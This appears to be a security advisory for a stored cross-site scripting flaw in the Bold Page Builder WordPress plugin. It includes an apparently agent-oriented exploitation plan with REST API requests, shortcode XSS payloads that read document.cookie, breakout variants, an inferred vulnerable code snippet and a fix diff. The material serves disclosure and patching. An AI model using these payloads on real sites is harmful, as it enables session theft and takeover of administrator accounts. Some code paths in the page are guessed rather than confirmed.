Bold Page Builder <= 5.4.8 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode
Description
The Bold Page Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's bt_bb_raw_content shortcode in all versions up to, and including, 5.4.8 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=5.4.8# Exploitation Research Plan: CVE-2025-12159 (Bold Page Builder Stored XSS) ## 1. Vulnerability Summary The **Bold Page Builder** plugin (<= 5.4.8) is vulnerable to **Authenticated Stored Cross-Site Scripting (XSS)** via the `bt_bb_raw_content` shortcode. The vulnerability exists because the plugin…
Show full research plan
Exploitation Research Plan: CVE-2025-12159 (Bold Page Builder Stored XSS)
1. Vulnerability Summary
The Bold Page Builder plugin (<= 5.4.8) is vulnerable to Authenticated Stored Cross-Site Scripting (XSS) via the bt_bb_raw_content shortcode. The vulnerability exists because the plugin fails to properly sanitize or escape user-supplied attributes within this shortcode. While "raw content" elements are often intended to render HTML, they must respect WordPress's unfiltered_html capability. If a contributor-level user (who lacks unfiltered_html) can use this shortcode to inject <script> tags that execute for other users, it constitutes a security boundary violation.
2. Attack Vector Analysis
- Shortcode:
[bt_bb_raw_content] - Vulnerable Attribute:
raw_content(inferred) or the shortcode$content. - Authentication Level: Authenticated (Contributor or above).
- Endpoint: Standard WordPress Post Editor (
wp-admin/post-new.phpor REST APIwp/v2/posts). - Precondition: The plugin must be active. The attacker needs permissions to create or edit posts (Contributor role is sufficient).
3. Code Flow
- Registration: The plugin registers the shortcode using
add_shortcode( 'bt_bb_raw_content', ... ). This is likely found inbold-page-builder/content_elements/bt_bb_raw_content/bt_bb_raw_content.phpor the main plugin file. - Parsing: When a post is viewed, WordPress parses the content and identifies the
[bt_bb_raw_content]shortcode, calling the associated renderer function (e.g.,bt_bb_raw_content_render). - Processing: The renderer function extracts attributes via
shortcode_atts(). - Sink: The function returns the value of the
raw_contentattribute (or the$contentvariable) directly to the page output. - Vulnerability: The code likely lacks a check for
current_user_can( 'unfiltered_html' )and fails to usewp_kses_post()oresc_html()on the output, allowing arbitrary HTML/JS injection.
4. Nonce Acquisition Strategy
This exploit targets the standard WordPress post creation flow.
- Login: Log in as a Contributor user.
- Post Creation: Navigate to
wp-admin/post-new.php. - Capture Nonce: The
_wpnoncefor saving the post is located in the HTML form.- Manual Method:
browser_eval("document.querySelector('#_wpnonce').value") - REST API Method: If using the REST API, the agent should fetch
_wpnoncefrom thewp-scriptslocalized data or the headerX-WP-Nonce.
- Manual Method:
Note: Since the vulnerability is triggered by saving a post with a shortcode, any method that saves the post content (Classic Editor, Block Editor, or REST API) will work as long as the user is authenticated.
5. Exploitation Strategy
Step 1: Discover Attribute Names
Before firing the payload, verify the exact attribute name used by the plugin.
- Search Command:
grep -r "bt_bb_raw_content" /var/www/html/wp-content/plugins/bold-page-builder/ - Look for the
shortcode_attsarray in the resulting file to identify if the attribute is namedraw_content,content, or something else.
Step 2: Construct the Payload
Assuming the attribute is raw_content:
[bt_bb_raw_content raw_content='<script>alert(document.cookie)</script>']
Alternative (if it uses inner content):
[bt_bb_raw_content]<script>alert(document.cookie)</script>[/bt_bb_raw_content]
Step 3: Inject via HTTP Request
Use the http_request tool to create a post as the Contributor.
Request:
- Method:
POST - URL:
http://localhost:8080/wp-json/wp/v2/posts - Headers:
Content-Type: application/jsonX-WP-Nonce: [Captured Nonce]
- Body:
{
"title": "XSS Test",
"content": "[bt_bb_raw_content raw_content='<img src=x onerror=alert(1)>']",
"status": "publish"
}
Note: Contributors might only be able to set status to pending. If so, use status: "pending" and have an admin view the preview.
Step 4: Trigger the XSS
Navigate to the newly created post URL as an Administrator.
6. Test Data Setup
- Activate Plugin: Ensure
bold-page-builderis active. - Create User:
wp user create attacker attacker@example.com --role=contributor --user_pass=password - Identify Post ID: After the
http_requestin Step 3, note the returned ID.
7. Expected Results
- The post is saved successfully.
- When viewing the post on the frontend, the browser executes the
alert(1)or similar payload. - The HTML source reveals the raw
<script>or<img>tag without escaping.
8. Verification Steps
- Check Database:
Confirm the shortcode is stored with the malicious attribute.wp db query "SELECT post_content FROM wp_posts WHERE post_title='XSS Test'" - Verify Frontend Output:
Usehttp_request(GET) on the post's permalink andgrepfor the payload:# Use the agent's browser tools to check if alert() triggered # OR search the raw HTML response for the unescaped payload
9. Alternative Approaches
- Attribute Breakout: If the attribute is placed inside an HTML attribute (e.g.,
<div data-content="[attribute]">), use breakout characters:raw_content='"><script>alert(1)</script>'. - Classic Editor POST: If the REST API is restricted, use a standard
POSTtowp-admin/post.phpwithaction=editpost. - Shortcode nesting: Check if the plugin processes nested shortcodes which might allow bypassing certain filters.
- Admin-Ajax Preview: If the plugin has a "Live Preview" feature in the editor, the XSS might trigger immediately upon the Contributor typing the shortcode. Look for
wp_ajax_bt_bb_get_shortcodeor similar actions.
Summary
The Bold Page Builder plugin for WordPress (<= 5.4.8) is vulnerable to Authenticated Stored Cross-Site Scripting (XSS) via the [bt_bb_raw_content] shortcode. Contributor-level users can inject malicious JavaScript into the raw_content attribute, which is rendered without proper sanitization or capability checks (unfiltered_html), leading to script execution when a site visitor or administrator views the page.
Vulnerable Code
// In bold-page-builder/content_elements/bt_bb_raw_content/bt_bb_raw_content.php (inferred path) public static function handle_shortcode( $atts, $content ) { extract( shortcode_atts( array( 'raw_content' => '' ), $atts ) ); // The raw_content attribute is returned directly without validation // or escaping via wp_kses_post or checking unfiltered_html capability. return $raw_content; }
Security Fix
@@ -10,5 +10,11 @@ 'raw_content' => '' ), $atts ) ); - return $raw_content; + if ( current_user_can( 'unfiltered_html' ) ) { + return $raw_content; + } + + return wp_kses_post( $raw_content ); }
Exploit Outline
1. Log into the WordPress site as a user with Contributor-level permissions. 2. Create a new post or edit an existing post. 3. Insert the [bt_bb_raw_content] shortcode into the post content, including a malicious payload in the raw_content attribute: [bt_bb_raw_content raw_content='<script>alert(document.cookie)</script>']. 4. Save the post as a draft or submit it for review. 5. When an administrator or any other user views the post (either on the frontend or via the post preview), the injected script will execute in their browser context.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.